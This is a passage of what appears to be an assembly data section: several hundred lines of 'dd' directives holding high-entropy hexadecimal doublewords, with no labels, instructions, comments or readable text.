0F2272B00h, 0C18E7818h, 9E00EFE8h, 23E6BB3Ah, 32A93C7h dd 365DDD1h, 70DFB335h, 0BD88F9F0h, 8CF0E750h, 0C0C41748h dd 0DC614724h, 1FC90089h, 628FEC12h, 0AC3318A1h, 0B8C7B944h dd 0A1764h, 36255E93h, 178FA59h, 0FF113400h, 3CB4DB2Ah dd 64383AADh, 2EC0C681h, 0D04D15A2h, 410082E3h, 7388B5D6h dd 0E01175F0h, 0AE450006h, 8AAE9F7h, 0E5052BEFh, 0EBC1209Eh dd 40051480h, 92B200F2h, 2678CB89h, 98C428B8h, 1049C96Bh dd 85F7D020h, 0AD1225F1h, 0A40022D4h, 8E989A36h, 2CE42F86h dd 0F8F639E0h, 0BA5F5600h, 0E24A1DE5h, 90CC03DFh, 5B83B744h dd 27B4FB8h, 0AB04AA0Eh, 3E6FE01Eh, 45EF2Dh, 0D4DF9885h dd 9EB56E62h, 3B607700h, 0FB5BA82Ah, 5AD83934h, 0D7F7D200h dd 0AF418916h, 2460F00h, 1ADF3D9Ch, 0B8AA00A9h, 0F1C8A297h dd 0F001360h, 20674728h, 0BBCA6B5h, 15514E0Dh, 0FE5638B0h dd 8B9D7A1Ch, 8597F040h, 3EEBF48h, 0A6304EC7h, 7DA8843Eh dd 99051F56h, 32A991FDh, 0C0EBABC2h, 0A45C70h, 63592B10h dd 65582402h, 4A0712E6h, 7E2EF748h, 0D83D23A3h, 0C4A7A0h dd 0DD63E8D4h, 0C55AA2FDh, 0FC0009DFh, 0CBDF91C7h, 7173961h dd 9BB6AB03h, 0D9A8DE05h, 0EA014CBCh, 3FF2B091h, 0AFD48394h dd 0EF8407C5h, 205CD698h, 0F6DF5738h, 7D0AD77Eh, 0E48610C0h dd 406B0C0Fh, 0F9D92421h, 6AC0FFFh, 7EC7DFF0h, 67C612F3h dd 8B9EA460h, 0CDAA4E1Ch, 1AB1056h, 9F46B1Dh, 4D5702Ah dd 2B85900h, 94A25064h, 0C7540012h, 9B69CE25h, 0CD39D528h dd 720709C6h, 0FC144045h, 4C6E00FDh, 7411ECCAh, 5503A87Eh dd 89D750BBh, 62A00798h, 70D28D24h, 0CF025329h, 5004C98h dd 0ADB5B35Eh, 1E35A80h, 40443E9Dh, 203F1F4Eh, 9F007581h dd 0F4273DF8h, 0B88B8542h, 55AE01E0h, 6CEC2B53h, 0A4E820EFh dd 945DA500h, 6991E147h, 64150040h, 7C891DC1h, 0B3FED06h dd 4E20E79h, 73D46078h, 16D8316Ah, 0EF99E0Eh, 86605D6h dd 0B43C6AE7h, 0BB30F4FDh, 1CE409E5h, 0BEF105AFh, 0C068FCDEh dd 0F2A3CB50h, 5C384898h, 6EBB1CC8h, 3230AF00h, 25EA2Ch dd 0CE897E8Fh, 19A7E72Fh, 0A9D44D01h, 0F25AF0E2h, 39D2E8h dd 24833BEDh, 9D47FEA4h, 9E00E8E8h, 58C68952h, 1C0FE988h dd 405AAF87h, 15566638h, 1800506Ah, 3433ACC8h, 0F6EFF06Eh dd 23C30044h, 0A7B009F8h, 82003D6Dh, 0EDD680D5h, 0F3BDF5h dd 0E31594Bh, 1FCFC44Ah, 2C0B1B00h, 456DBEB5h, 4B7D0028h dd 8996C24Fh, 70FC152Dh, 6B42FF00h, 0D5A50AA3h, 0B22F0064h dd 0CEE85E49h, 900063C8h, 46A33841h, 7871489Ah, 9D992828h dd 825B07DCh, 80884AB1h, 0A36A70F7h, 5F857B07h, 518079D7h dd 7E3B82BFh, 555700B3h, 65BBFA04h, 8DFF99Ch, 0E07F6800h dd 16ED5F10h, 2B136Ch, 9A2E2586h, 4D7BD630h, 9E4A2600h dd 749B1BB6h, 0F887E73h, 0EFCE5EB8h, 0BC2F0BA0h, 9FF46EC2h dd 46701E00h dd 0C8762008h, 5C8A0F45h, 8FC00753h, 852A6B0Bh, 0E100E472h dd 0CC457D66h, 74A22240h, 0D9760B06h, 0A50058C1h, 468ECD74h dd 0DCC86300h, 8DA73B12h, 47E873h, 413AB003h, 924F537Bh dd 6AF17D1Eh, 3EB54000h, 0C6BD561h, 9870508Eh, 0AF009EEAh dd 13CFF884h, 0E68290h, 19569365h, 18A78B29h, 0D69F8A2Fh dd 441763h, 505DC8F2h, 8DFC75Ch, 1600900h, 4CEFE426h, 0E671C629h dd 0C7AD001Dh, 4A2D616Dh, 70008265h, 95F67319h, 3814E57h dd 0E57249FFh, 0E1A0B88Bh, 0F101CC26h, 18FCB779h, 50F494D5h dd 1C8400FBh, 0BE1D2157h, 1A00E056h, 4C0CE3B3h, 0F3B12Eh dd 0AB549FA8h, 9394232Ah, 627BE02Ch, 86ED8500h, 50BC710Dh dd 91B8254h, 1F495C53h, 24D54300h, 990A7051h, 0C2DB958Eh dd 0EB1C1100h, 1EC6C8Ch, 6443408Bh, 0D4843D34h, 0F0002E7Ch dd 49CD73B0h, 61CC4Eh, 4053666Dh, 75A2DF96h, 0D4D8BB00h dd 1BD114E4h, 78A8007Ah, 0A716D33Fh, 5400C506h, 21BC6D55h dd 3B938Dh, 0A8774F14h, 19D307A2h, 3BB5353Ch, 0BE26004Ah dd 5457D572h, 43E21466h, 0F2008899h, 0DD1C4AADh, 35008D1Dh dd 0AE73D92Ch, 2D472Fh, 83906562h, 0C6F6F8AAh, 0EE60501Ch dd 2035438Dh, 1F113C60h, 4031D0F7h, 75965F0Dh, 431C9F91h dd 0C540F1E2h, 7F6577F8h, 117024CAh, 6E6880BCh, 0D91EA643h dd 664A7601h, 0F987AE19h, 1FA18C8h, 0B16C34F2h, 0F826130Eh dd 7C00EF6Fh, 9D79CE63h, 0B029F444h, 3A1A00B6h, 523D54E6h dd 4490866Fh, 6C583701h, 0D666FF56h, 0F4BF22F0h, 0C64900A5h dd 2F4CA6C5h, 1401DD10h, 77B27D2Dh, 0C84082FAh, 119B8Bh dd 0B1DFCCD6h, 8CC37073h, 0BD15CB1Dh, 0CF3DF4C1h, 0C0400581h dd 3884A651h, 0B9800885h, 0D09062B6h, 52003566h, 0F8AFA5FDh dd 3EB74EDh, 26CC1B30h, 96A87AC5h, 0FF006F03h, 7F6C07F9h dd 1E51A8D1h, 2E73109h, 80E5D8D0h, 6F14B880h, 1B7356CDh dd 160F647Eh, 802A2DDFh, 1AEDA83Bh, 0CB461489h, 200A8D4h dd 8315996Ch, 27005D09h, 804071B7h, 7064CF4Fh, 0B37B009Eh dd 0DB76FBAFh, 77000DCAh, 0F6203112h, 0C4E2896h, 751B9C32h dd 6F0E3046h, 1C3D5B03h, 9AD35607h, 4108E22Fh, 0FFE48006h dd 1D2F36D8h, 0C0EF4C98h, 3E801DAAh, 7F60D4E6h, 7E74B08h dd 0D6C80968h, 788056A0h, 575EF7DCh, 0D1F1D203h, 0B14DFB54h dd 982093FCh, 7EEF0FE8h, 0FF806AE9h, 1B8C05B3h, 0BA944C12h dd 0CC8BAC00h, 7D4393Eh, 0CB3C57A8h, 0B88EC0B5h, 0EE0F8032h dd 0E04A0487h, 0F478F8FBh, 0A6E6005Dh, 4417F513h, 8E1EEF6Dh dd 3B0F5BBDh, 32D6203Ch, 7FD1C1Bh, 0D28B4F52h, 0DE2D0B2h dd 9613E79Eh, 780E5A5Eh, 28F2A0C2h, 136E49h, 62F097D8h dd 3B161A06h, 1F218700h, 5ACD1CACh, 53D80366h, 91BC6532h dd 209A7DB1h, 8203EDB4h, 0FDF2A1Ch, 158888E3h, 7201072Dh dd 0D0DA764Ah, 787A628Fh, 0E0126300h, 27021804h, 7B21015Fh dd 7ED7A3BAh, 47B5E4EEh, 0F08F0F1Ch, 8DD3B980h, 99944Ah dd 9EDE59D5h, 92AE36A4h, 54608C0Fh, 0A8DB0276h, 4A0816Fh dd 0DDE04495h, 0EE1400A2h, 0CC0E522Bh, 7604C8C9h, 1B9F8232h dd 0F353DCC0h, 472A00DDh, 2DA9A614h, 5403F16Ch, 2BA3B5DEh dd 0CE46A099h, 0BC804915h, 412D8E16h, 66A81A64h, 26F1F87Ch dd 0B9391800h, 0E3037B12h, 9C4C4CACh, 63326880h, 504439D5h dd 0C9B50E74h, 304088BBh, 0CFC14309h, 669E9D00h, 8939A152h dd 0D0AE001Bh, 0DEF96CBEh, 0DC03502Fh, 685E4A81h, 6CD0DC09h dd 2E39360Bh, 8DB74Ch, 0E0270873h, 0C1009D3Ch, 0C6D6E396h dd 780F5DEh, 0F1FDBF44h, 0B6B4B0F9h, 3A00DB8Ah, 9862C8E2h dd 90696D4Dh, 0C6150028h, 1A9EEB4h, 8CB0041Ah, 8C2B1E00h dd 8DA4BF4Ah, 0EDB5007Bh, 528B898h, 0EE00016Fh, 51FF3C84h dd 55C4DDh, 4C542BA7h, 0A3F5416Eh, 1E79EA00h, 0E45EFA6Ch dd 4DC73D2h, 0EDE85CA4h, 86008090h, 6D0ECD64h, 0A003C3DAh dd 283FCCADh, 0B05274A4h, 7FDB002Bh, 0F89C4ADCh, 0C51E39FDh dd 17001B26h, 663DEA9Fh, 0EB7E99h, 7CBE42A9h, 7730D55Dh dd 0AE57BC07h, 0EBC0A8B1h, 3D0415D9h, 0D380DBBFh, 43E4FD01h dd 1100CFB8h, 0C3ECA00Dh, 2FC6A8h, 0DA196359h, 0A328551Fh dd 0DE9CFA50h, 0B7DD3A07h, 1BE046A7h, 8EF876h, 0A845C71Eh dd 0DC6C7EC4h, 62E9390Fh, 34FE60AAh, 1046DDh, 76F59E29h dd 0BB80E15Ch, 8069E83Ch, 2F82279Dh, 0B20637h, 7A383C59h dd 8662F45Ch, 0D8C54600h, 74E516CBh, 51220004h, 0C4D70DB6h dd 257C7CD6h, 8E886800h, 0DD8B33BFh, 55160049h, 0F21C89Bh dd 933A3E25h, 0EE1B0002h, 22AAD604h, 0A3EB00FAh, 874EB10Bh dd 0FC00F60Dh, 47DB2464h, 19812607h, 94D1DC6h, 0F7F0EC25h dd 0F5C1A301h, 993FEB9Eh, 7EDED0h, 4D2719D1h, 2B5DEDFEh dd 0DB2DEA00h, 85C5FABEh, 218F00F5h, 32C65469h, 0F20097A7h dd 718117C0h, 0B2779h, 73B63F24h, 6309B43Ah, 5CFC8538h dd 0F87403BFh, 0D0175DFFh, 0C0C4FB7Bh, 281E3258h, 9C9096EAh dd 1B626907h, 0C160F37Fh, 256D632Bh, 527EB385h, 0BD211200h dd 0CBBC4Fh, 0C9B8ED9Fh, 0F42E1D6Fh, 0C8DA800h, 0E48B4013h dd 24B700A7h, 0E7D18F99h, 0A60074C5h, 0EA324668h, 0F822B53Eh dd 406300D8h, 18CC758h, 23F468D5h, 80586558h, 85ADEAAh dd 25032E06h, 1BC2663h, 0DDFC23A8h, 6AEFD00Ah, 0C7BA1A05h dd 48094BCh, 0F397E0h, 99E7EE72h, 0C87C1E81h, 4DFEC200h dd 95B32884h, 0FCB60946h, 0F8210E3Fh, 0D004AC24h, 5A008C79h dd 47AEE32Ah, 0D538D4h, 654CE7FFh, 0AA119F7Ch, 0D3779201h dd 9334991Ah, 3E1FA4E0h, 0FB9D6DFAh, 0A1AF0430h, 0B8D880D3h dd 100090DFh, 0AB24DC51h, 4DB7B199h, 500584Bh, 0D0D2BE87h dd 2C901C78h, 4CC72A02h, 6073BC36h, 11788F0h, 0E798A470h dd 3038E16Eh, 2600DD60h, 77073DC7h, 576B803h, 88F767ADh dd 91548318h, 43BAE6A8h, 2DB4C03h, 0E8836581h, 40D460h dd 4671A887h, 11C636F9h, 5CCE5A3Ch, 0B4C700DAh, 504CB732h dd 5EB909EBh, 9B008AF9h, 0EE43E662h, 8C5A931Fh, 53738F02h dd 0F3E0852Ch, 24239481h, 0CE8011BDh, 94EC596h, 0D9002DB3h dd 1AE14CC9h, 0C73007h, 8B3459B9h, 56336719h, 0D2786D00h dd 0D7EB542Dh, 4A8E00B5h, 8A16F120h, 17007121h, 431E6D92h dd 1FAC1CD1h, 28E1BD80h, 0AD200CDCh, 0EBA151E2h, 63A88654h dd 0DD45400h, 0E78AFF5Fh, 0F87003Dh, 0E486E699h, 1D0058F6h dd 3410CB21h, 3691A6Ch, 5C7BD160h, 4B0644Ch, 0EEC0D6B5h dd 882178FBh, 6654092Eh, 1827C1B3h, 9EA2C061h, 5600F6C9h dd 0C31D9C0Eh, 481AA1E5h, 0E600865Fh, 0C0BEB827h, 69002809h dd 0AD4F2DFCh, 0FEB1B725h, 5D911D10h, 74C1804Ah, 9876F24Eh dd 405F5000h, 0A30EC22h, 910003Ch, 1E64350Eh, 0BE7CAC78h dd 24D4FA26h, 0BD7F400h, 1CA7B0Fh, 0C91A76D8h, 0D87D42B4h dd 9D00624Eh, 0B3929675h, 3960781Bh, 0B64CA9C5h, 0AC440B00h dd 6B357E1Eh, 89523F00h, 0AF13AE7Bh, 589100BDh, 5F0E2030h dd 0B600D44Bh, 0D81125A7h, 0A914FEh, 0FA546ADFh, 78DD8980h dd 0E0A571FDh, 0D9003EA7h, 0B297F8D3h, 1D57127Fh, 0C05EB038h dd 20602D3Ch, 33004443h, 3B196FE6h, 0FEE00797h, 2DF90EB8h dd 938A8621h, 0B5C00B0h, 9FA64827h, 8012FE39h, 0ECACF4ADh dd 7870B8C0h dd 6CB0E1h, 849A0B42h, 838E576Ah, 0A0563D0Dh, 72F0097Bh dd 0BA8005Fh, 4962425Ah, 0EE00A481h, 20E370CEh, 31B6F68h dd 1C319A48h, 51A075C7h, 0F501DBF9h, 32E784B6h, 6C202B61h dd 9BB73F1Fh, 2D5D9E00h, 0A6E144ABh, 834F7809h, 634E84CCh dd 60DA1C82h, 40DB66h, 0ECF777EDh, 6E29954Ch, 9CBD917h dd 4A105003h, 14E0C093h, 0B91E2E8Fh, 1F179CB0h, 35B701B5h dd 0ECF4E72Eh, 0C100A0E3h, 0FB079CA6h, 26F20EF1h, 109AFFh dd 15FACE6h, 877865CDh, 0C7F76300h, 0F569A20Bh, 1A3D005Ah dd 0ADBB60D7h, 0FD12518Ah, 8C008E61h, 3C8C64E6h, 49FF007Ah dd 592E5C95h, 0E1021E96h, 0BF1767E7h, 0DD08E0BBh, 0C884AB8Ah dd 7B20B5CAh, 0B12518B7h, 69291031h, 1D2F0201h, 9A2E4EB8h dd 98AA0024h, 46DC008Fh, 8BE8CBA7h, 54004C88h, 0B0E13ED1h dd 515131Ch, 0D978696Eh, 4283C1A9h, 0F7844075h, 790066E4h dd 0F1AB67EEh, 7D6A83h, 0A13DF5E2h, 7C62A9E6h, 0C1033Fh dd 0B62EF291h, 1B2801ADh, 909C4B1h, 0CB7E16E0h, 0BEFEB001h dd 29870C7Bh, 3C736BCCh, 4801EBEFh, 0D90B1A16h, 1C1BC078h dd 29FF771Dh, 4C018140h, 688688h, 3CF8CCDAh, 95D4CA2Ah dd 754FBC03h, 0A035E459h, 3B4E52B5h, 0EC805450h, 0AF3E8498h dd 9317A9AAh, 8B05767Ah, 0A703AB34h, 0F8B5EE6Ch, 4CC175h dd 4E4ABD24h, 7C646B63h, 0D0698B00h, 54B2BFE1h, 0FB901E1Bh dd 282E802Ah, 45F7A6F4h, 100026FEh, 0FC34DE74h, 0E09433h dd 1969F5E7h, 80E29A40h, 820DBA01h, 4D3E20D1h, 6E1EE8h dd 9453CEA4h, 0C163A8B3h, 0D8E6F777h, 3134B700h, 66C03389h dd 9E454CFCh, 0FED7160h, 0E700B0CFh, 220EC889h, 0BD793Eh dd 0DD848A9Bh, 802E98D8h, 6800D276h, 300478A1h, 7E579502h dd 4F4D00D0h, 74930FC9h, 4A39DC3Bh, 0FB1D8061h, 1E6AF7B8h dd 451C00AAh, 9238D7B5h, 0C7012165h, 0F2992522h, 5FE45EE8h dd 44D80757h, 958E5CAh, 9816005Fh, 0E843DCF2h, 888EE9BEh dd 0CC0426Fh, 11284A55h, 0C3DF311Fh, 0A2186518h, 1B085C20h dd 99687200h, 40E80522h, 0FFEC5B0Fh, 4B1D602Bh, 0FA5D1FACh dd 186200BCh, 937F8259h, 1938D2C1h, 3BBA0079h, 6570571Eh dd 27FA0066h, 0C7F8BEE0h, 0D97ACA07h, 86F98C0h, 98976744h dd 0F98F0309h, 0D87B192Ch, 6DF2A818h, 28712E20h, 604EE4h dd 3BDE1E03h, 912FF8BDh, 8D8C3100h, 0F6D3D264h, 0C45200BEh dd 8659EF5Ch, 0DF00B122h, 395C606h, 0FF9B0D3Eh, 0B0D0C1C4h dd 0EE3C0006h, 0F9F0046Ah, 0DC3CFA6Ch, 6DDD80BAh, 0B40E3BB9h dd 0F5111F6Bh, 98CC4031h, 0CE9B7D9Eh, 0C8D95A1Eh, 83911A85h dd 3392F040h, 69C7F86h, 0B3050C93h, 1E7B0843h, 75392700h dd 0DC83D145h, 0E7CE0042h, 4748AD06h, 863BE065h, 9F360050h dd 27B021E8h, 0FF1B1CE6h, 84007B9Eh, 0E913391Dh, 0AF06CF78h dd 0C90D90C7h, 8D921F58h, 40BF9E2Eh, 4614BE35h, 4001DD3h dd 7F6FA7F9h, 0C0255676h, 605B8620h, 20A79073h, 0CF4E0B88h dd 0C0B1ABA6h, 0ED013703h, 0F802AD49h, 0C9B5B214h, 34003B19h dd 6B3135F6h, 5C8BC8C4h, 90141200h, 28CE2864h, 8ED0836Ch dd 0A6390080h, 1A5F3F7Bh, 0F0EE46Fh, 8D556701h, 61F8218Dh dd 5AEB0E44h, 0A415912Dh, 9D5DB200h, 9475CA5Eh, 990E3E00h dd 83035B29h, 34C23396h, 56A1E728h, 8038C1C0h, 0BF0C1910h dd 0C429170h, 40BA16A3h, 3605708h, 0C067F920h, 243E0230h dd 0EDC2EB6Eh, 25E2C082h, 62022C21h, 0CA869886h, 270008F6h dd 60B3BA28h, 50D48A31h, 8C7F7413h, 5C3F7C02h, 19E5B71Ah dd 67412D2h, 0CF0E135h, 34B2FE0Ah, 0C04F604Dh, 0FA917BBFh dd 614486A1h, 0C07300B6h, 0CFD69C64h, 9D064EEEh, 0DECEA37h dd 8FAB2190h, 423F708Fh, 1A569719h, 66E0100Fh, 0EAF95444h dd 3D1439h, 5A8176ABh, 1ED5B23h, 0E82DD01h, 0F0BAF7B3h dd 51069C55h, 52CFA72h, 15B173B0h, 9811DF78h, 0F0A80707h dd 0A3AD10AAh, 0C53A9283h, 213E30A0h, 9F7D454h, 50138B1Ah dd 0D3900FFh, 0A0397ED5h, 78467ECh, 89871FCEh, 0E2005FAFh dd 2AE8FF8Dh, 0E40CA100h, 2F814185h, 0D74A0605h, 30F4D66Eh dd 7F403300h, 25E3FC28h, 5E570091h, 4E85C6ADh, 28C18715h dd 7A57B4Ah, 5038E6F4h, 0E2050C4Fh, 13E0026h, 9DAE069Fh dd 231E5CD1h, 0DA00568Dh, 87DEC11Fh, 9430C01Eh, 69A07D4Ch dd 0AA32203h, 0A3A2D271h, 0D68803F0h, 1C7DD40Eh, 3DC160E2h dd 0D78EE0E3h, 7E322800h, 6ED1F35Ch, 36B9CE0Dh, 0BF145520h dd 0B8183231h, 4B080F57h, 0B020D4C0h, 0FD785500h, 7D86F82Ch dd 3F5C5D50h, 1CCD33Eh, 0DC69DF8Bh, 6E30C794h, 8021DC43h dd 248CC9CDh, 70C01C8Bh, 0B301C632h, 0FDB50F80h, 281486F9h dd 2DCD1481h, 2848A28Bh, 9867E20h, 3AC9CFDFh, 0AB72EE80h dd 0D20AF010h, 0C4B8A8E8h, 5EF83283h, 2CC6F0AEh, 7E050604h dd 21856B72h, 0C5B93Bh, 69B25D88h, 118C78DAh, 73BFA619h dd 85733300h, 8DAE13FAh, 4C60A4Ah, 749C0536h, 69023A46h dd 0D5A471CCh, 948AD980h, 652F35Fh, 553F0124h, 33D9BED5h dd 4D88EF0Ch, 18550022h, 0D615376Bh, 1C545671h, 6D0C6398h dd 128E9FB3h, 221E0EF5h, 27210ADCh, 0F413B1D8h, 1C924B9Bh dd 70111F0Eh, 213B203Dh, 0A1B7491h, 774D38E4h, 3F058AB0h dd 33500B3h, 4B8EC18Fh, 41725731h, 29F51174h, 0BFB5B980h dd 46F23B59h, 0D7B8891Ah, 85A48519h, 6B323A80h, 1DACA844h dd 762118D5h, 2FA711BDh, 448BE00h, 3C126F32h, 9F08CC4Ah dd 0D300FC21h, 0A62CE4B3h, 3CCC7FF1h, 0A9EA49A1h, 5C213C1Ch dd 0D8CCDF81h, 8A18FF8Ch, 2C9DA88h, 6057FCCh, 0A0905C50h dd 0DF7F884Ch, 7EA1B700h, 0C023C6E5h, 203E6A6h, 0C81FD92Fh dd 942087DDh, 12337D4Fh, 37A2EA68h, 0D8078BCh, 8F627DD7h dd 4B823EDFh, 8C1DC287h, 3081D9F9h, 41BFD35Ch, 0D5D8B60h dd 8CD2A084h, 0FFA499EFh, 0CBE8C103h, 0E044AACCh, 9FFE5F5h dd 0E8FC181h, 0D5D11A81h, 1848D667h, 0C803A595h, 6FE533F7h dd 0A49BB871h, 4C044C8Fh, 0B0BC2Ah, 0AE091BCFh, 0A0DF3368h dd 0B7CA3814h, 32C300E4h, 0DA61792Dh, 5BB43A1Eh, 478F2F00h dd 0EB65D9BCh, 7B46AA00h, 94B8DB40h, 0B5BE0012h, 0AD3E2830h dd 583A95CDh, 2DB981F8h, 90DE4FC0h, 0AC50E0h, 29F2BC06h dd 0ABAD52BBh, 14579E00h, 0ECB63308h, 0B47A003Eh, 0BF624388h dd 0AEF26824h, 80DF4938h, 0F3EFD3ADh, 7C762296h, 0F821002Eh dd 9BB4B7AFh, 7200C1EDh, 686D5F24h, 7139C909h, 0C01A00B5h dd 8F10CF16h, 4138D04Ah, 115F802Ch, 57AF2A4Ch, 5EC0C0BEh dd 7A25460Fh, 3444EA00h, 0B5851A30h, 0DEE8EF3Bh, 0F32900D0h dd 0AEE561AAh, 461705D1h, 0CE019B2Bh, 84879ECh, 0C465F2D4h dd 3363840h, 0CA393BC4h, 37F700DDh, 7C20ED21h, 0BE0B0176h dd 7BCD6D1Dh, 0C9BF7A3h, 0C4E3C000h, 1FC53DD2h, 5C413C4Eh dd 8F336707h, 0F224A014h, 27026118h, 4C8AF871h, 0D35D0097h dd 0B4149810h, 3800170h, 0C5D1F916h, 0C17244h, 551E80A8h dd 719A2648h, 0F4220E00h, 4511E336h, 58C83DE9h, 2629C981h dd 9C010923h, 25C2D640h, 8038B52Ch, 0C2413DC0h, 764800C0h dd 0E47CA922h, 46001494h, 0EC63C30Ch, 33DDC8Bh, 0C188B597h dd 29E0D606h, 93003889h, 8C4FBCC8h, 1440F43h, 0DF70A359h dd 0F8F35D54h, 320FAC27h dd 8ACD9E30h, 4F00E0C3h, 415AA4EBh, 0CCA9007Fh, 36D46CC6h dd 0E000E3E1h, 0A2181485h, 60D76B3h, 0D39C4755h, 5B07AEA4h dd 0EAE7B221h, 53912FA0h, 45243F71h, 1A251E80h, 65A97E60h dd 0F66EDC39h, 0C4B78F00h, 0FDA583BCh, 2E30009Eh, 0A93B5AB2h dd 3E7284A2h, 0FCCB39h, 8B8EAD6Ah, 3969BBFh, 875D4414h dd 7C80229Dh, 36183BD8h, 61C1BC2Fh, 8EDE097Dh, 24A1A757h dd 248DA5FBh, 74F364C4h, 6E003738h, 0CF28053h, 0E452ABD4h dd 480F0035h, 78EE4D7Fh, 50BF93AFh, 74F90BBDh, 0E7D49AF2h dd 80993204h, 0C5E64CC0h, 0EE1A0ED1h, 0D88661B5h, 3B282074h dd 0B400ACBBh, 5259D23h, 7D353785h, 99F400BCh, 613CD09Ah dd 30C06BD1h, 0FC109579h, 0E9F50159h, 0B1EA6DAEh, 8244D1ADh dd 0FC94B421h, 8DCE6083h, 0C3291CE8h, 745CCC31h, 9C017520h dd 258CB026h, 0FD308D4Eh, 5908C64Dh, 7C1F200Eh, 0FC2B062h dd 6056E957h, 0B7334F7h, 0FD0A4514h, 757F2C80h, 0F00036D1h dd 6B211AEEh, 0E1E3C6Fh, 0B9E384D6h, 0C569EC23h, 0A7255000h dd 18A30FF2h, 0BFCE07FAh, 106F9D53h, 0F38D98F5h, 472A7200h dd 0A17918B2h, 607E2954h, 2DC8E220h, 548B9F30h, 0EEB87Fh dd 0B2509447h, 2344F641h, 99FDF30Ch, 502A2177h, 0F47191A6h dd 0DB3601BAh, 0F6D81BC6h, 0BB7D2018h, 499F8F1Ch, 0E44CED1Eh dd 60A73880h, 7E7B416Bh, 0BC0060BDh, 9F17E04Dh, 2620ACD5h dd 7C2DB4Ah, 732B7C43h, 49D880CBh, 0B3001B03h, 0D0CC7E9Ch dd 3AECB4C9h, 0A680B1C6h, 982E34B9h, 2317CFCAh, 5D0048E5h dd 0BB9742C3h, 10573CE8h, 4DE2B383h, 0AAC1F69Dh, 95ABE029h dd 0A2E65203h, 0FAB123A8h, 218FC0CAh, 0D6F247h, 2A793F5Bh dd 0ED114B19h, 1F56907h, 0B4406A0Ch, 0B3F84Ah, 7123C02Ch dd 0A0C650A2h, 0D43EB000h, 15DA2F46h, 4FE2004Dh, 0CC084967h dd 0B7008264h, 54148EB5h, 3838F86Bh, 0AE00E743h, 0B32ABE6h dd 3D03BC2Dh, 20862819h, 411420Ah, 710057A8h, 0D5799C25h dd 0A1F215h, 4FB481Fh, 84CC0A38h, 3662EB03h, 0CBBD357h dd 0E0EDD538h, 6449729h, 611D20DFh, 22B8CF22h, 834244DDh dd 21623711h, 4DA23F3Bh, 0BF7F44h, 0C4E9E2C1h, 0F9FD85B8h dd 0EBAEF600h, 976B02FBh, 0AFED0167h, 9BC388A2h, 98BBFC5Fh dd 7665AC06h, 0F809547Dh, 2E83005Eh, 0B4DC7B4Bh, 9F0015AEh dd 0A4101EB8h, 0E86D06h, 2DA7E7C5h, 0E6DCED12h, 930029FCh dd 73521562h, 0B744A0h, 807A0432h, 0CEADA7EBh, 8050BD3Fh dd 9EFA585Eh, 68C63Eh, 0F4EDDFA1h, 13E5A953h, 94643600h dd 0DD44BBBh, 0B021FC9h, 9F9880CFh, 1F268B90h, 9E239524h dd 7A15A01h, 2880438Dh, 48D12E4Eh, 89009FEDh, 8294765Fh dd 1CFE869h, 0FF13275Eh, 57246BDAh, 0A99370E4h, 4900EA3Ch dd 756F3F2Ch, 75660B87h, 90BF61E3h, 8EC1363Dh, 0E02C525Ch dd 0F7A2FDB6h, 0F8D00ED4h, 0C03EBB3Ch, 0B3BF4617h, 80481218h dd 0E53910h, 0E05AB8F1h, 3F52ADFh, 0E6E785B7h, 508080DCh dd 0D10F6B86h, 0FF0F4282h, 8CAF6A80h, 65D41Bh, 0EF71F134h dd 0D9E6950Ah, 266EC400h, 6CE83974h, 0FDAACF9Bh, 3E162580h dd 82007010h, 43AB767Bh, 9E3824h, 4E785620h, 0AE1F4133h dd 7D0F1B98h, 0E0A88FCBh, 0C83DD50Eh, 715F0323h, 0E3FAF8CDh dd 0AD2B6EE8h, 201B360Eh, 40F56F04h, 0C6F9A024h, 0E69D3A28h dd 7EE52587h, 469F904Dh, 110050B9h, 0C12A2D20h, 1E343EE4h dd 4033B0AAh, 2F4D8FE0h, 791DBA0Ch, 4400EE3Bh, 160934D8h dd 1FF50180h, 42CE8BF3h, 0F09BE0Bh, 607DFD88h, 6B632A9h dd 0ACD8004Dh, 8AFF09C2h, 0F0130AF4h, 50E65BBh, 226E80BEh dd 1E7A2Ah, 211BBF71h, 2E5B02Dh, 0EDAD9A07h, 0C6708341h dd 7573140h, 9BAE1C8Bh, 0EAC840E2h, 160A2B47h, 0F8BDC0C4h dd 50E9BF00h, 4E8B9Dh, 84490A71h, 0C768D982h, 4C799F1Dh dd 620FFA01h, 28206333h, 0CA3205Fh, 5026F307h, 4EB09A6Bh dd 0D6374Dh, 0F1216EE7h, 0CA77F6Fh, 0C933DD02h, 801A9A53h dd 0E8AA10ECh, 0BEF53079h, 89EB6498h, 32007EF6h, 60172550h dd 0EB4A1A07h, 0EA3138E4h, 0D0C61DD8h, 8CF1C048h, 0DFE6FD7Dh dd 0B5BB5E0Bh, 0C0CB0FE2h, 850F7CB7h, 0D5A00340h, 0F8A6AB6Ch dd 83668AE8h, 720EE704h, 60C03493h, 0D212FCh, 0C341C94Bh dd 0DD42AC44h, 0FB64E1Eh, 40B2DA8Fh, 12CD51C0h, 5C310079h dd 583E3011h, 6A9C7B14h, 4027C3Ah, 37849169h, 15605527h dd 0C01E53F5h, 803D1EB6h, 444D7416h, 1F075CC9h, 4095CF5Ah dd 775243A4h, 1414F4BEh, 728C1762h, 352C3C00h, 3C1A171h dd 0DD21002Dh, 51CFD60h, 0D8006D62h, 410C3504h, 5AB7C6h dd 5BF2EDD3h, 0B53D9A14h, 5D8F4400h, 0D82BF0ECh, 0BA260F13h dd 48207AD5h, 82377359h, 79558600h, 2FC038BBh, 0EA340075h dd 0EE11BCD1h, 4600C369h, 0B4053907h, 0B0637h, 8B898241h dd 0BC569B48h, 7FC45107h, 6D9049FFh, 0A7B277h, 0CD656A6Fh dd 677C36E4h, 20B68B07h, 11933DDBh, 0D646F8D8h, 0E8552428h dd 6F06004Ah, 2A64B525h, 89AF0D01h, 37ED9773h, 117AFCh dd 0CDD5687h, 5BA23188h, 0DC668001h, 0AF5835EBh, 0D10FCh dd 73403237h, 9A337459h, 80B15A00h, 89F47E3Ah, 1B9B0272h dd 4FFB7C28h, 2BC4B582h, 0FC0064CAh, 6C7CDF9h, 990A2573h dd 0FE015391h, 806F1409h, 398CCE4h, 0DEFB00E4h, 5B6C8679h dd 6807203Eh, 0A716C878h, 58412E60h, 1A40066h, 3BE39DADh dd 0D0E57C7Eh, 6F162581h, 0C8001AE8h, 220EA524h, 17DF032Eh dd 0E6119274h, 0CF67C0D7h, 9B00BE3Bh, 76715CA9h, 38CED54h dd 6A2D752Ch, 0CF88CB1Eh, 72F0090Ch, 0B97A4D07h, 8625637Bh dd 20658800h, 1710437h, 6866432Ch, 0D94D5C27h, 0E3F60CFh dd 0B6D1CC06h, 0F809C40Dh, 22E50256h, 